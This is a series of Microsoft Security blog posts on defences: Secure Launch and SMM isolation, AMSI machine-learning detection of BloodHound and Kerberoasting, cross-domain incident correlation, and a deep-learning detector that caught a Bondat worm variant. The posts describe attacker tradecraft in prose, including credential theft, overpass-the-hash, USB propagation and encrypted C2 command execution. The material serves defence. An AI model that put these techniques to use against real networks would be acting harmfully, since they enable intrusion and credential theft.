After TCB Launch, control of the DRTM environment and associated controls are transferred to the Hypervisor. The Hypervisor is then responsible for managing DMA protections, memory clearing protections, and other DRTM- related state control.

DRTM allows the platform to mitigate real-world attacks that attempt to modify the hypervisor or perform other malicious actions during early boot/hibernate. For example, an S3 boot script exploit that attempts to tamper the hypervisor across suspend/resume would be mitigated by DRTM.

Another common tool used to perform DMA style read/writes over PCIe, frequently leveraged by attackers, is PCILeech. While Kernel DMA protections help ensure that malicious, unauthorised peripherals cannot access memory, even if an attacker does gain a foothold in early-boot, pre-DRTM firmware, the DRTM event insulates the Windows environment from these exploits.

System Management Mode isolation protections can help enforce conditional access

Another dimension of protection that comes with Secured-core PCs is System Management Mode (SMM) protection. System Management Mode (SMM) is a special-purpose CPU mode in x86 microcontrollers that handles power management, hardware configuration, thermal monitoring, and anything else the manufacturer deems useful. If an attacker can exploit SMM, they could attempt to bypass some of the checks in Secure Launch or exploit the runtime operating system. By leveraging new hardware-based supervision and attestation, Secured-core PCs can measure and detect when SMM is trying to access a platform resource (like memory, IO, or certain CPU registers) which violates our policy. This adds an additional layer of hardening to the Secure Launch event and an additional layer of hardening to Secured-core PCs.

SMM execution takes place in the form of System Management Interrupt (SMI) handlers. During the DRTM event, SMIs will be suspended to allow the DRTM event and beginning of the TCB to execute without SMM interference. A system’s SMM isolation is based on an access policy provided by the platform firmware stating what SMM does or does not require access to. This policy will then be enforced on SMM by the silicon vendor specific mechanism, and a copy of this policy will be provided to the boot loader for evaluation. TCB Launch will check that the provided isolation policy being enforced on the system meets the minimum Windows requirements. If the policy is not compliant, say for being able to access OS memory, then TCB Launch may destroy DRTM state and clear OS secrets. TCB Launch will resume SMIs after it has completed its evaluation and has taken any necessary precautions.

Exploits that previously looked to leverage SMM vulnerabilities to read/write these sensitive resources like memory, IO, or certain CPU registers to access secrets, or potentially modify the Hypervisor, are no longer permitted access as part of the policy evaluation. A detected violation upon boot will destroy the DRTM state and prevent access from previously sealed OS secrets and keys. Microsoft has worked with silicon partners and OEMs to ensure that capable Secured-core devices have SMM authored in such a way that meets the SMM policy described, hardening them against this class of attacks. The strength of the ecosystem partnership between Microsoft, silicon vendors and OEMs helps take the security burden of protecting SMM off of security operations teams and recent attacks leveraging SMI handler vulnerabilities are examples of the types of scenarios mitigated by the described SMM protections. When the exploit attempts to leverage a bug in the system management interrupt handler to gain code execution privileges in SMM and modify OS memory, the attempted OS memory access would fall outside our policy boundary and be flagged in the attestation report. The state of DRTM and the SMM protections can be used to help strengthen conditional access strategies in organizations by gating access to sensitive resources based on the health of these hardware and firmware security features.

AMD’s SMM protection component also leverages an SMM supervisor running at a higher processor privilege level (CPL0) to execute SMI handler logic at a lower processor privilege level (CPL3) to isolate and protect resources from SMI handler access and even itself from tampering. Fault handlers are used to protect IO ports & MSRs and enforces CR3 lockdown to protect memory & MMIO components. SMM Supervisor is cryptographically signed and authenticated as well as measured into PCR[17] during SKINIT launch. OEMs include support for SKINIT and AMD’s SMM protections by including the necessary packages in the OS images that are applied to Secured-core PCs.

Getting started with Secure Launch and SMM Protections

Enabling System Guard Secure Launch on a platform may be achieved when the following support is present:

  • Intel, AMD, or ARM virtualization extensions
  • Trusted Platform Module (TPM) 2.0
  • On Intel: TXT support in the BIOS
  • On AMD: SKINIT package must be integrated in the Windows system image
  • On Qualcomm: Implements DRTM TrustZone application and supports SMC memory protections.
  • Kernel DMA Protection

Further configuration information and requirements can be found here. On secured-core PCs, virtualization-based security is supported and hardware-backed security features like System Guard Secure Launch with SMM Protections are enabled by default. Learn more about the line of secured-core PCs available today.

 

Nazmus Sakib

Enterprise and OS Security

The post Force firmware code to be measured and attested by Secure Launch on Windows 10 appeared first on Microsoft Security.

Stopping Active Directory attacks and other post-exploitation behavior with AMSI and machine learning

August 27th, 2020 No comments

When attackers successfully breach a target network, their typical next step is to perform reconnaissance of the network, elevate their privileges, and move laterally to reach specific machines or spread as widely as possible. For these activities, attackers often probe the affected network’s Active Directory, which manages domain authentication and permissions for resources. Attackers take advantage of users’ ability to enumerate and interact with the Active Directory for reconnaissance, which allows lateral movement and privilege escalation. This is a common attack stage in human-operated ransomware campaigns like Ryuk.

These post-exploitation activities largely rely on scripting engines like PowerShell and WMI because scripts provide attackers flexibility and enable them to blend into the normal hum of enterprise endpoint activity. Scripts are lightweight, can be disguised and obfuscated relatively easily, and can be run fileless by loading them directly in memory through command-line or interacting with scripting engines in memory.

Antimalware Scan Interface (AMSI) helps security software to detect such malicious scripts by exposing script content and behavior. AMSI integrates with scripting engines on Windows 10 as well as Office 365 VBA to provide insights into the execution of PowerShell, WMI, VBScript, JavaScript, and Office VBA macros. Behavioral blocking and containment capabilities in Microsoft Defender Advanced Threat Protection (ATP) take full advantage of AMSI’s visibility into scripts and harness the power of machine learning and cloud-delivered protection to detect and stop malicious behavior. In the broader delivery of coordinated defense, the AMSI-driven detection of malicious scripts on endpoints helps Microsoft Threat Protection, which combines signals from Microsoft Defender ATP and other solutions in the Microsoft 365 security portfolio, to detect cross-domain attack chains.

On endpoints, performance-optimized machine learning models inspect script content and behavior through AMSI. When scripts run and malicious or suspicious behavior is detected, features are extracted from the content, including expert features, features selected by machine learning, and fuzzy hashes. The lightweight client machine learning models make inferences on the content. If the content is classified as suspicious, the feature description is sent to the cloud for full real-time classification. In the cloud, heavier counterpart machine learning models analyze the metadata and uses additional signals like file age, prevalence, and other such information to determine whether the script should be blocked or not.

These pairs of AMSI-powered machine learning classifiers, one pair for each scripting engine, allow Microsoft Defender ATP to detect malicious behavior and stop post-exploitation techniques and other script-based attacks, even after they have started running. In this blog, we’ll discuss examples of Active Directory attacks, including fileless threats, foiled by AMSI machine learning.

Diagram showing pairs of machine learning models on the endpoint and in the cloud using AMSI to detect malicious scripts

Figure 1. Pair of AMSI machine learning models on the client and in the cloud

Blocking BloodHound attacks

BloodHound is a popular open-source tool for enumerating and visualizing the domain Active Directory and is used by red teams and attackers as a post-exploitation tool. The enumeration allows a graph of domain devices, users actively signed into devices, and resources along with all their permissions. Attackers can discover and abuse weak permission configurations for privilege escalation by taking over other user accounts or adding themselves to groups with high privileges, or for planning their lateral movement path to their target privileges. Attackers, including those behind human-operated ransomware campaigns such as Ryuk, use BloodHound as part of their attacks.

To work, BloodHound uses a component called SharpHound to enumerate the domain and collect various categories of data: local admin collection, group membership collection, session collection, object property collection, ACL collection, and trust collection. This enumeration would typically then be exfiltrated to be visualized and analysed by the attacker as part of planning their next steps. SharpHound performs the domain enumeration and is officially published as a fileless PowerShell in-memory version, as well as a file-based executable tool version. It is critical to identify the PowerShell fileless variant enumeration if it is active on a network.

Code snippet of the SharpHound ingestor

Figure 2. SharpHound ingestor code snippets

When the SharpHound fileless PowerShell ingestor is run in memory, whether by a pen tester or an attacker, AMSI sees its execution buffer. The machine learning model on the client featurizes this buffer and sends it to the cloud for final classification.

Code snippet of SharpHound ingestor showing featurized details

Figure 3. Sample featurized SharpHound ingestor code

The counterpart machine learning model in the cloud analyzes the metadata, integrates other signals, and returns a verdict. Malicious scripts are detected and stopped on endpoints in real time:

Screenshot of Microsoft Defender Antivirus alert for detection of SharpHound

Figure 4. Microsoft Defender Antivirus detection of SharpHound

Detections are reported in Microsoft Defender Security Center, where SOC analysts can use Microsoft Defender ATP’s rich set of tools to investigate and respond to attacks:

Screenshot of Microsoft Defender Security Center showing detection of SharpHound

Figure 5. Microsoft Defender Security Center alert showing detection of SharpHound

This protection is provided by AI that has learned to identify and block these attacks automatically, and that will continue to adapt and learn new attack methods we observe.

Stopping Kerberoasting

Kerberoasting, like BloodHound attacks, is a technique for stealing credentials used by both red teams and attackers. Kerberoasting attacks abuse the Kerberos Ticket Granting Service (TGS) to gain access to accounts, typically targeting domain accounts for lateral movement.

Kerberoasting attacks involve scanning an Active Directory environment to generate a list of user accounts that have Kerberos Service Principal Name (SPN). Attackers then request these SPN to grant Kerberos Service Tickets to these accounts. The tickets are dumped from memory using various tools like Mimikatz and then exfiltrated for offline brute forcing on the encrypted segment of the tickets. If successful, attackers can identify the passwords associated with the accounts, which they then use to remotely sign into machines or access resources.

All the Kerberoasing attack steps leading to the hash extraction can be accomplished using a single PowerShell (Invoke-Kerberoast.ps1), and has been integrated into popular post-exploitation frameworks like PowerSploit and PowerShell Empire:

Figure 6. Single command line to download and execute Kerberoasting to extract user password hashes

Code snippet of Kerberoasting

Figure 7. Kerberoasting code

Because AMSI has visibility into PowerShell scripts, when the Invoke-Kerberoast.ps1 is run, AMSI allows for inspection of the PowerShell content during runtime. This buffer is featurized and analyzed by client-side machine learning models, and sent to the cloud for real-time ML classification.

Code snippet of Kerberoasting showing featurized details

Figure 8. Sample featurized Kerberoasting code

Microsoft Defender ATP raises an alert for the detection of Invoke-Kerberoast.ps1:

Figure 9. Microsoft Defender Security Center alert showing detection of Invoke-Kerberoast.ps1

Training the machine learning models

To ensure continued high-quality detection of threats, the AMSI machine learning models are trained per scripting engine using real-time protection data and threat investigations.

Featurization is key to machine learning models making intelligent decisions about whether content is malicious or benign. For behavior-based script logs, we extract the set of libraries, COM object, and function names used by the script. Learning the most important features within the script content is performed through a combination of character ngramming the script or behavior log, followed by semi-asynchronous stochastic dual coordinate ascent (SA-SDCA) algorithm with L1 regularization feature trimming to learn and deploy the most important character ngram features.

On top of the same features used to train the client models, other complex features used to train the cloud modes include fuzzy hashes, cluster hashes, partial hashes, and more. In addition, the cloud models have access to other information like age, prevalence, global file information, reputation and others, which allow cloud models to make more accurate decisions for blocking.

Conclusion: Broad visibility informs AI-driven protections

Across Microsoft, AI and machine learning protection technologies use Microsoft’s broad visibility into various surfaces to identify new and unknown threats. Microsoft Threat Protection uses these machine learning-driven protections to detect threats across endpoints, email and data, identities, and apps.

On endpoints, Microsoft Defender ATP uses multiple next-generation protection engines that detect a wide range of threats. One of these engines uses insights from AMSI and pairs of machine learning models on the client and in the cloud working together to detect and stop malicious scripts post-execution.

These pairs of AMSI models, one pair for each scripting engine, are part of the behavior-based blocking and containment capabilities in Microsoft Defender ATP, which are designed to detect and stop threats even after they have started running. When running, threats are exposed and can’t hide behind encryption or obfuscation. This adds another layer of protection for instances where sophisticated threats are able to slip through pre-execution defenses.

Diagram showing different next-generation protection engines on the client and in the cloud

Figure 10. Microsoft Defender ATP next-generation protection engines

In this blog post, we showed how these AMSI-driven behavior-based machine learning protections are critical in detecting and stopping post-exploitation activities like BloodHound-based and Kerberoasting attacks, which employ evasive malicious scripts, including fileless components. With AMSI, script content and behavior are exposed, allowing Microsoft Defender ATP to foil reconnaissance activities and prevent attacks from progressing.

To learn more about behavior-based blocking and containment, read the following blog posts:

 

Ankit Garg and Geoff McDonald

Microsoft Defender ATP Research Team

The post Stopping Active Directory attacks and other post-exploitation behavior with AMSI and machine learning appeared first on Microsoft Security.

Inside Microsoft Threat Protection: Solving cross-domain security incidents through the power of correlation analytics

July 29th, 2020 No comments

In theory, a cyberattack can be disrupted at every phase of the attack chain. In reality, however, defense stack boundaries should overlap in order to be effective. When a threat comes via email, for example, even with good security solutions in place, organizations must assume that the threat may slip past email defenses, reach the target recipient, and further compromise endpoints and identities. While defenses on endpoints and identities could successfully tackle the attack in isolation, coordinating signals across protection components significantly increases the ability of these solutions to block and mitigate.

Microsoft Threat Protection takes this approach and delivers coordinated defense that binds together multiple solutions in the Microsoft 365 security portfolio. Microsoft Threat Protection continuously and seamlessly scours endpoints, email and docs, cloud app, and identity activities for suspicious signals. Through deep correlation logic, Microsoft Threat Protection automatically finds links between related signals across domains. It connects related existing alerts and generates additional alerts where suspicious events that could otherwise be missed can be detected. We call these correlated entities incidents.

How Microsoft Threat Protection’s advanced correlation make SOC analysts’ work easier and more efficient

Microsoft Threat Protection’s incident creation logic combines AI technology and our security experts’ collective domain knowledge, and builds on broad optics to provide comprehensive coverage. These correlations align with the MITRE ATT&CK framework over a unified schema of attack entities, enabling Microsoft Threat Protection to automatically connect the dots between seemingly unrelated signals.

Incidents ensure that elements otherwise spread across various portals and queues are presented in a single coherent view, helping security operations centers (SOC) in important ways. First, they reduce the SOC’s workload: incidents automatically collect and correlate isolated alerts and other related security events, so analysts have fewer, more comprehensive work items in their queue. Second, SOC analysts can analyze related alerts, affected assets, and other evidence together, reducing the need for manual correlation and making it easier and faster to understand the complete attack story and take informed actions.

Attack sprawl illustrated

The level of sophistication of today’s threats, including nation-state level attacks and human operated ransomware, highlight why coordinated defense is critical in ensuring that organizations are protected.

To illustrate how Microsoft Threat Protection protects against such sophisticated attacks, we asked our security research team to simulate an end-to-end attack chain across multiple domains, based on techniques we observed in actual investigations.

Their attack starts with a spear-phishing email targeting a specific user. The email contains a link that, when clicked, leads to the download of a malicious .lnk file that stages the Meterpreter payload. With their malicious code running on the target device, the attackers perform reconnaissance to understand which users have signed into the device and which other devices these users have access to. For example, in this case, they find the credentials of an IT helpdesk team member. Impersonating this IT helpdesk team member via overpass-the-hash, the attackers are able to move laterally to a second device.

On the second device, they steal the user’s web credentials, which they use to remotely access the user’s cloud apps like OneDrive or SharePoint. This allows the attackers to insert a malicious macro into an existing online Word document, which they then deploy in a lateral phishing attack by distributing links to the malicious document to other users in the organization.

Diagram showing an attack chain involving attack sprawl and techniques like overpass-the-hash

Figure 1. Our attack case scenario showing the initial access through spear-phishing and lateral movement through overpass-the-hash attack

When we ran this attack in our simulation environment, Microsoft Threat Protection was able to track attacker activities as they accessed the target organization, established foothold, and moved across the network. Then, invoking advanced correlation, Microsoft Threat Protection automatically collected all signals, alerts, and relevant entities into a single comprehensive incident representing the whole attack:

Screenshot of the incidents view in Microsoft security center

Figure 2. Incident showing the full attack chain and affected entities

Initial access: Correlating email, identity, and endpoint signals

Let’s look behind the scenes to understand how Microsoft Threat Protection connects the dots in such an attack.

When the target of the initial spear-phishing email clicks the URL in the email, a malicious .lnk file is downloaded and run on the device. In such a scenario, Office 365 Advanced Threat Protection (ATP) flags both the email and the URL as malicious and raises an alert. Normally, SOC analysts would analyze this alert, extract attacker indicators such as the malicious URL, manually search for all devices where this malicious URL was clicked, then take remediation actions on those devices.

Microsoft Threat Protection automates this process and saves time. The intelligence behind Microsoft Threat Protection correlations combines Office 365 ATP signals, Microsoft Defender ATP events, and Azure Active Directory (Azure AD) identity data to find the relevant malicious URL click activity on affected devices, even before SOC analysts starts looking at the alert. The automatic correlation of email, identity, and endpoint signals across on-premises and cloud entities raises the alert “Suspicious URL clicked”. Through this correlation-driven alert, Microsoft Threat Protection helps the SOC to expand their understanding of the attack using all relevant pieces of evidence and automate the search for compromised devices.

Screenshot of Microsoft security center showing list of alerts and highlighting the correlation-driven alert "Suspicious URL clicked"

Figure 3. Microsoft Threat Protection correlation-driven alert “Suspicious URL clicked”

Lateral movement: Correlating overpass-the-hash attack on one device and suspicious sign-in on another

So we’ve seen how automatic correlation allows Microsoft Threat Protection to uncover attacker activity related to initial access. The same capability exposes the next stages in the attack chain: credential theft and lateral movement.

Diagram showing an attack chain and showing correlation of cross-domain signals

Figure 4. Attack scenario showing alerts raised by correlation of cross-domain signals

In the next stage, the attackers use the overpass-the-hash method, a well-known impersonation technique. They control one device in the network where a domain user, like the IT helpdesk team member, is currently signed in. They then harvest NTLM credentials stored on the device to obtain a Kerberos ticket on the user’s behalf. The Kerberos ticket is a valid ticket that’s encrypted with the credentials of the domain user, allowing the attackers to pretend to be that user and access all resources that the user can access. Once attackers obtain credentials for a user with high privileges, they use the stolen credentials to sign in to other devices and move laterally.

In such cases, Azure ATP raises an alert on the suspicious Kerberos ticket, pointing to a potential overpass-the-hash attack. What would SOC analysts do at this point when investigating an overpass-the-hash alert? They would probably start enumerating all the users who signed in to the compromised device. They would also enumerate all other sign-ins for these users and further activities propagating to other devices in the network, all while mentally building an attack graph.

Saving precious time and eliminating manual work, Microsoft Threat Protection determines that the lateral movement activity is related to the earlier initial access. As a result, Microsoft Threat Protection correlates this activity, as well as users and devices involved, into the same incident, exposing other related activities and surfacing them as additional alerts in the same incident.

Screenshot of Microsoft security center showing list of alerts and highlighting the correlation-driven alert "Successful logon using potentially stolen credentials"

Figure 5. Correlating the overpass-the-hash alert

Microsoft Threat Protection also finds related sign-in events following the overpass-the-hash attack to trace the footprint of the impersonated user and surfaces alerts for malicious sign-ins made by the attacker. This allows Microsoft Threat Protection to elevate a series of raw sign-in events (which, when considered on their own, may lack context for detection) to alerts. The correlation-driven alert “Successful logon using potentially stolen credentials” instantly flags the compromised endpoints and pinpoints the start of the malicious activity in the timeline.

Screenshot of Microsoft security center showing correlation-driven alerts that determine that start of the attack

Figure 6. Correlation-driven alert can help determine the start of the attack

Lateral phishing: Correlating email, cloud, and device data

Using the breadth and depth of information available from the incident, SOC analysts can further expand their investigation. The Go hunt action allows SOC analysts to run an exhaustive, predefined query to hunt for relevant or similar threats and malicious activities from endpoints to the cloud, whether issued from inside the network or outside organizational boundaries.

Screenshot of Microsoft security center showing the Go hunt action

Figure 7. Generating a hunting query with a single click

 In this attack scenario, the query that Go hunt auto-generates instantly reveals suspicious OneDrive activity: while the user is operating from Great Britain, somebody from Sweden with the same account name seems to have downloaded a .docx file and replaced it with a similar file with .doc extension, indicating the insertion of the malicious macro.

Screenshot of Microsoft security center showing results of the Go hunt query, which reveals additional suspicious acitivity

Figure  8. “Go hunt” on the compromised user reveals suspicious activity

SOCs can further follow the propagation of the replaced file using an additional hunting query that combines email, OneDrive, and device data to find more affected users and devices, allowing SOC analysts to assess if additional compromise occurred and to take remediation actions. In our next blog post, we’ll provide more details about the investigation and hunting aspects of this scenario.

Conclusion: Connecting the dots and enriching incidents with more signals that tell the story

In this blog we demonstrated Microsoft Threat Protection’s unique ability to correlate signals across email and docs, devices, identities, and cloud apps, and present attack evidence in a unified form. Incidents significantly improve SOC efficiency by eliminating the need to use different portals and manually finding and connecting events, as well as enabling investigation and comprehensive response to attacks. The incident view shows alerts, affected entities, and related activities from across Microsoft 365 security solutions in a unified view.

Automatic correlations enrich incidents by consolidating relevant events and raising new alerts on malicious activities that couldn’t be flagged by any individual product on its own. These correlations paint a seamless attack story across perimeters by building an attack graph that SOC analysts can follow, starting with the earliest initial access.

Diagram showing automatic correlation of signals and alerts across domains

Figure 9. Automatic correlation across domains

Microsoft Threat Protection harnesses the power of Microsoft 365 security products to deliver unparalleled coordinated defense that detects, correlates, blocks, remediates, and prevents attacks across an organization’s Microsoft 365 environment. Existing Microsoft 365 licenses provide access to Microsoft Threat Protection features in Microsoft 365 security center without additional cost. To start using Microsoft Threat Protection, go to security.microsoft.com.

Learn how Microsoft Threat Protection can help your organization to stop attacks with coordinated defense. Read these blog posts in the Inside Microsoft Threat Protection series:

 

Stefan Sellmer, Tali Ash, Tal Maor

Microsoft Threat Protection Team

 

The post Inside Microsoft Threat Protection: Solving cross-domain security incidents through the power of correlation analytics appeared first on Microsoft Security.

Seeing the big picture: Deep learning-based fusion of behavior signals for threat detection

July 23rd, 2020 No comments

The application of deep learning and other machine learning methods to threat detection on endpoints, email and docs, apps, and identities drives a significant piece of the coordinated defense delivered by Microsoft Threat Protection. Within each domain as well as across domains, machine learning plays a critical role in analyzing and correlating massive amounts of data to detect increasingly evasive threats and build a complete picture of attacks.

On endpoints, Microsoft Defender Advanced Threat Protection (Microsoft Defender ATP) detects malware and malicious activities using various types of signals that span endpoint and network behaviors. Signals are aggregated and processed by heuristics and machine learning models in the cloud. In many cases, the detection of a particular type of behavior, such as registry modification or a PowerShell command, by a single heuristic or machine learning model is sufficient to create an alert.

Detecting more sophisticated threats and malicious behaviors considers a broader view and is significantly enhanced by fusion of signals occurring at different times. For example, an isolated event of file creation is generally not a very good indication of malicious activity, but when augmented with an observation that a scheduled task is created with the same dropped file, and combined with other signals, the file creation event becomes a significant indicator of malicious activity. To build a layer for these kinds of abstractions, Microsoft researchers instrumented new types of signals that aggregate individual signals and create behavior-based detections that can expose more advanced malicious behavior.

In this blog, we describe an application of deep learning, a category of machine learning algorithms, to the fusion of various behavior detections into a decision-making model. Since its deployment, this deep learning model has contributed to the detection of many sophisticated attacks and malware campaigns. As an example, the model uncovered a new variant of the Bondat worm that attempts to turn affected machines into zombies for a botnet. Bondat is known for using its network of zombie machines to hack websites or even perform cryptocurrency mining. This new version spreads using USB devices and then, once on a machine, achieves a fileless persistence. We share more technical details about this attack in latter sections, but first we describe the detection technology that caught it.

Powerful, high-precision classification model for wide-ranging data

Identifying and detecting malicious activities within massive amounts of data processed by Microsoft Defender ATP require smart automation methods and AI. Machine learning classifiers digest large volumes of historical data and apply automatically extracted insights to score each new data point as malicious or benign. Machine learning-based models may look at, for example, registry activity and produce a probability score, which indicates the probability of the registry write being associated with malicious activity. To tie everything together, behaviors are structured into virtual process trees, and all signals associated with each process tree are aggregated and used for detecting malicious activity.

With virtual process trees and signals of different types associated to these trees, there’s still large amounts of data and noisy signals to sift through. Since each signal occurs in the context of a process tree, it’s necessary to fuse these signals in the chronological order of execution within the process tree. Data ordered this way requires a powerful model to classify malicious vs. benign trees.

Our solution comprises several deep learning building blocks such as Convolutional Neural Networks (CNNs) and Long Short-Term Memory Recurrent Neural Networks (LSTM-RNN). The neural network can take behavior signals that occur chronologically in the process tree and treat each batch of signals as a sequence of events. These sequences can be collected and classified by the neural network with high precision and detection coverage.

Behavior-based and machine learning-based signals

Microsoft Defender ATP researchers instrument a wide range of behavior-based signals. For example, a signal can be for creating an entry in the following registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

A folder and executable file name added to this location automatically runs after the machine starts. This generates persistence on the machine and hence can be considered an indicator of compromise (IoC). Nevertheless, this IoC is generally not enough to generate detection because legitimate programs also use this mechanism.

Another example of behavior-based signal is service start activity. A program that starts a service through the command line using legitimate tools like net.exe is not considered a suspicious activity. However, starting a service created earlier by the same process tree to obtain persistence is an IoC.

On the other hand, machine learning-based models look at and produce signals on different pivots of a possible attack vector. For example, a machine learning model trained on historical data to discern between benign and malicious command lines will produce a score for each processed command line.

Consider the following command line:

 cmd /c taskkill /f /im someprocess.exe

This line implies that taskill.exe is evoked by cmd.exe to terminate a process with a particular name. While the command itself is not necessarily malicious, the machine learning model may be able to recognize suspicious patterns in the name of the process being terminated, and provide a maliciousness probability, which is aggregated with other signals in the process tree. The result is a sequence of events during a certain period of time for each virtual process tree.

The next step is to use a machine learning model to classify this sequence of events.

Data modeling

The sequences of events described in the previous sections can be represented in several different ways to then be fed into machine learning models.

The first and simple way is to construct a “dictionary” of all possible events, and to assign a unique identifier (index) to each event in the dictionary. This way, a sequence of events is represented by a vector, where each slot constitutes the number of occurrences (or other related measure) for an event type in the sequence.

For example, if all possible events in the system are X,Y, and Z, a sequence of events “X,Z,X,X” is represented by the vector [3, 0, 1], implying that it contains three events of type X, no events of type Y, and a single event of type Z. This representation scheme, widely known as “bag-of-words”,  is suitable for traditional machine learning models and has been used for a long time by machine learning practitioners. A limitation of the bag-of-words representation is that any information about the order of events in the sequence is lost.

The second representation scheme is chronological. Figure 1 shows a typical process tree: Process A raises an event X at time t1, Process B raises an event Z at time t2, D raises X at time t3, and E raises X at time t4. Now the entire sequence “X,Z,X,X”  (or [1,3,1,1] replacing events by their dictionary indices) is given to the machine learning model.

Diagram showing process tree

Figure 1. Sample process tree

In threat detection, the order of occurrence of different events is important information for the accurate detection of malicious activity. Therefore, it’s desirable to employ a representation scheme that preserves the order of events, as well as machine learning models that are capable of consuming such ordered data. This capability can be found in the deep learning models described in the next section.

Deep CNN-BiLSTM

Deep learning has shown great promise in sequential tasks in natural language processing like sentiment analysis and speech recognition. Microsoft Defender ATP uses deep learning for detecting various attacker techniques, including malicious PowerShell.

For the classification of signal sequences, we use a Deep Neural Network that combines two types of building blocks (layers): Convolutional Neural Networks (CNN) and Bidirectional Long Short-Term Memory Recurrent Neural Networks (BiLSTM-RNN).

CNNs are used in many tasks relating to spatial inputs such as images, audio, and natural language. A key property of CNNs is the ability to compress a wide-field view of the input into high-level features.  When using CNNs in image classification, high-level features mean parts of or entire objects that the network can recognize. In our use case, we want to model long sequences of signals within the process tree to create high-level and localized features for the next layer of the network. These features could represent sequences of signals that appear together within the data, for example, create and run a file, or save a file and create a registry entry to run the file the next time the machine starts. Features created by the CNN layers are easier to digest for the ensuing LSTM layer because of this compression and featurization.

LSTM deep learning layers are famous for results in sentence classification, translation, speech recognition, sentiment analysis, and other sequence modeling tasks. Bidirectional LSTM combine two layers of LSTMs that process the sequence in opposite directions.

The combination of the two types of neural networks stacked one on top of the other has shown to be very effective and can classify long sequences of hundreds of items and more. The final model is a combination of several layers: one embedding layer, two CNNs, and a single BiLSTM. The input to this model is a sequence of hundreds of integers representing the signals associated with a single process tree during a unit of time. Figure 2 shows the architecture of our model.

Diagram showing layers of the CNN BiLSTM model

Figure 2. CNN-BiLSTM model

Since the number of possible signals in the system is very high, input sequences are passed through an embedding layer that compresses high-dimensional inputs into low-dimensional vectors that can be processed by the network. In addition, similar signals get a similar vector in lower dimensional space, which helps with the final classification.

Initial layers of the network create increasingly high-level features, and the final layer performs sequence classification. The output of the final layer is a score between 0 and 1 that indicates the probability of the sequence of signals being malicious. This score is used in combination with other models to predict if the process tree is malicious.

Catching real-world threats

Microsoft Defender ATP’s endpoint detection and response capabilities use this Deep CNN-BiLSTM model to catch and raise alerts on real-world threats. As mentioned, one notable attack that this model uncovered is a new variant of the Bondat worm, which was seen propagating in several organizations through USB devices.

Diagram showing the Bondat attack chain

Figure 3. Bondat malware attack chain

Even with an arguably inefficient propagation method, the malware could persist in an organization as users continue to use infected USB devices. For example, the malware was observed in hundreds of machines in one organization. Although we detected the attack during the infection period, it continued spreading until all malicious USB drives were collected. Figure 4 shows the infection timeline.

Column chart showing daily encounters of the Bondat malware in one organization

Figure 4. Timeline of encounters within a single organization within a period of 5 months showing reinfection through USB devices

The attack drops a JavaScript payload, which it runs directly in memory using wscript.exe. The JavaScript payload uses a randomly generated filename as a way to evade detections. However, Antimalware Scan Interface (AMSI) exposes malicious script behaviors.

To spread via USB devices, the malware leverages WMI to query the machine’s disks by calling “SELECT * FROM Win32_DiskDrive”. When it finds a match for “/usb” (see Figure 5), it copies the JavaScript payload to the USB device and creates a batch file on the USB device’s root folder. The said batch file contains the execution command for the payload. As part of its social engineering technique to trick users into running the malware in the removable device, it creates a LNK file on the USB pointing to the batch file.

Screenshot of malware code showing infection technique

Figure 5. Infection technique

The malware terminates processes related to antivirus software or debugging tools. For Microsoft Defender ATP customers, tamper protection prevents the malware from doing this. Notably, after terminating a process, the malware pops up a window that imitates a Windows error message to make it appear like the process crashed (See figure 6).

Screenshot of malware code showing infection technique

Figure 6. Evasion technique

The malware communicates with a remote command-and-control (C2) server by implementing a web client (MSXML). Each request is encrypted with RC4 using a randomly generated key, which is sent within the “PHPSESSID” cookie value to allow attackers to decrypt the payload within the POST body.

Every request sends information about the machine and its state following the output of the previously executed command. The response is saved to disk and then parsed to extract commands within an HTML comment tag. The first five characters from the payload are used as key to decrypt the data, and the commands are executed using the eval() method. Figures 7 and 8 show the C2 communication and HTML comment eval technique.

Once the command is parsed and evaluated by the JavaScript engine, any code can be executed on an affected machine, for example, download other payloads, steal sensitive info, and exfiltrate stolen data. For this Bondat campaign, the malware runs coin mining or coordinated distributed denial of service (DDoS) attacks.

Figure 7. C2 communication

Figure 8. Eval technique (parsing commands from html comment)

The malware’s activities triggered several signals throughout the attack chain. The deep learning model inspected these signals and the sequence with which they occurred, and determined that the process tree was malicious, raising an alert:

  1. Persistence – The malware copies itself into the Startup folder and drops a .lnk file pointing to the malware copy that opens when the computer starts
  2. Renaming a known operating system tool – The malware renames exe into a random filename
  3. Dropping a file with the same filename as legitimate tools – The malware impersonates legitimate system tools by dropping a file with a similar name to a known tool.
  4. Suspicious command line – The malware tries to delete itself from previous location using a command line executed by a process spawned by exe
  5. Suspicious script content – Obfuscated JavaScript payload used to hide the attacker’s intentions
  6. Suspicious network communication – The malware connects to the domain legitville[.]com

Conclusion

Modeling a process tree, given different signals that happen at different times, is a complex task. It requires powerful models that can remember long sequences and still be able to generalize well enough to churn out high-quality detections. The Deep CNN-BiLSTM model we discussed in this blog is a powerful technology that helps Microsoft Defender ATP achieve this task. Today, this deep learning-based solution contributes to Microsoft Defender ATP’s capability to detect evolving threats like Bondat.

Microsoft Defender ATP raises alerts for these deep learning-driven detections, enabling security operations teams to respond to attacks using Microsoft Defender ATP’s other capabilities, like threat and vulnerability management, attack surface reduction, next-generation protection, automated investigation and response, and Microsoft Threat Experts. Notably, these alerts inform behavioral blocking and containment capabilities, which add another layer of protection by blocking threats if they somehow manage to start running on machines.

The impact of deep learning-based protections on endpoints accrues to the broader Microsoft Threat Protection (MTP), which combines endpoint signals with threat data from email and docs, identities, and apps to provide cross-domain visibility. MTP harnesses the power of Microsoft 365 security products to deliver unparalleled coordinated defense that detects, blocks, remediates, and prevents attacks across an organization’s Microsoft 365 environment. Through machine learning and AI technologies like the deep-learning model we discussed in this blog, MTP automatically analyzes cross-domain data to build a complete picture of each attack, eliminating the need for security operations centers (SOC) to manually build and track the end-to-end attack chain and relevant details. MTP correlates and consolidates attack evidence into incidents, so SOCs can save time and focus on critical tasks like expanding investigations and proacting threat hunting.

 

Arie Agranonik, Shay Kels, Guy Arazi

Microsoft Defender ATP Research Team

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft Threat Protection and Microsoft Defender ATP tech communities.

Read all Microsoft security intelligence blog posts.

Follow us on Twitter @MsftSecIntel.

The post Seeing the big picture: Deep learning-based fusion of behavior signals for threat detection appeared first on Microsoft Security.